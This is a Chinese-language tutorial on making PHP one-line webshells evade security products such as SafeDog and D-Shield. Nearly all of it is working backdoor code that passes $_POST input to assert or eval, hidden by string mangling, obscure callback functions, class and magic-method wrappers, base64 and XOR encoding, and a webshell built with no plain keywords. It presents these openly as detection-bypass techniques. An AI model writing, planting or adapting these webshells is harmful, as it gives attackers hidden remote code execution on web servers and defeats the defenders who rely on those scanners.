一句话木马的套路
字数 1139 2025-08-18 11:37:57
PHP Webshell免杀技巧详解
0x01 前言
本文全面介绍PHP Webshell的免杀技巧,帮助读者掌握有效的绕过安全检测方法。重点针对安全狗、D盾等常见安全软件的检测机制进行分析。
0x02 eval与assert函数特性
eval函数特点
- PHP官方说明eval是语言构造器而非函数
- 不能被可变函数调用
- 示例错误用法:
$a=eval;$a();
assert函数特点
- 在PHP7.1以上版本已被限制使用
- 灵活性高于eval,可作为回调函数使用
- 常用于自动测试套件构建
0x03 字符串变形技巧
通过字符串操作函数变形关键函数名,绕过基于"形"检测的安全狗:
$a = substr_replace("assexx","rt",4); // 将"assexx"变为"assert"
$a($_POST['x']);
常用字符串函数:
ucwords()- 单词首字母大写ucfirst()- 首字母大写trim()- 去除两端空白substr_replace()- 替换字符串部分substr()- 返回字符串部分strtr()- 转换特定字符strtoupper()/strtolower()- 大小写转换str_rot13()- ROT13编码
0x04 定义函数绕过
通过自定义函数分割关键词:
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
或:
function kdog($a){
assert($a);
}
kdog($_POST[x]);
0x05 回调函数利用
常见回调函数
已被安全软件标记的回调函数:
call_user_func_array()call_user_func()array_filter()array_map()register_shutdown_function()
生僻回调函数
如forward_static_call_array():
forward_static_call_array(assert,array($_POST[x]));
0x06 回调函数变形
通过函数封装回调
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
通过类封装回调
class loveme {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
0x07 特殊字符干扰
连接符干扰
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
命名空间符号
function dog($a){
\assert($a);
}
dog($_POST[x]);
0x08 数组技巧
将执行代码放入数组:
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
多维数组:
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
0x09 类与魔术方法
结合魔术方法如__destruct(), __construct():
class me{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new me;
$b->a = $_POST['x'];
0x10 编码绕过
Base64编码
$a = base64_decode("YXNz+ZX____J____0"); // 包含干扰字符
$a($_POST[x]);
异或运算
$a=('s'^'a').('s'^'b').('s'^'c').('r'^'d').'t'; // 生成"assert"
$a($_POST[x]);
0x11 无字符特征Webshell
异或与编码组合
$_=('%01'^'!').('%13'^',').('%13'^',').('%05'^'@').('%12'^'#').('%14'^'$');
$_(($_=('%0D'^'/').('%2F'^'@').('%0E'^'#').('%09'^'!'))($_POST[_]));
正则匹配特殊字符
利用Tab等不可见字符转换为可执行代码
POST参数动态获取
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
0x12 PHP7.1+的Webshell发展方向
- 由于assert受限,更多使用eval结合特殊调用方式
- 更注重字符干扰和混淆技术
- 大马使用趋势增加
- 自定义加密传输成为发展方向
总结
绕过思路:
- 安全狗:主要杀"形",可通过字符串变形绕过
- D盾:主要杀"参",可通过参数后传入绕过
有效方法:
- 使用生僻回调函数
- 采用特殊加密方式
- 关键词后传入技术
- 高度自定义的传输加密
未来发展方向:
- 客户端自定义加密脚本
- Webshell端对应解密执行
- 现有WAF对此类方法检测能力较弱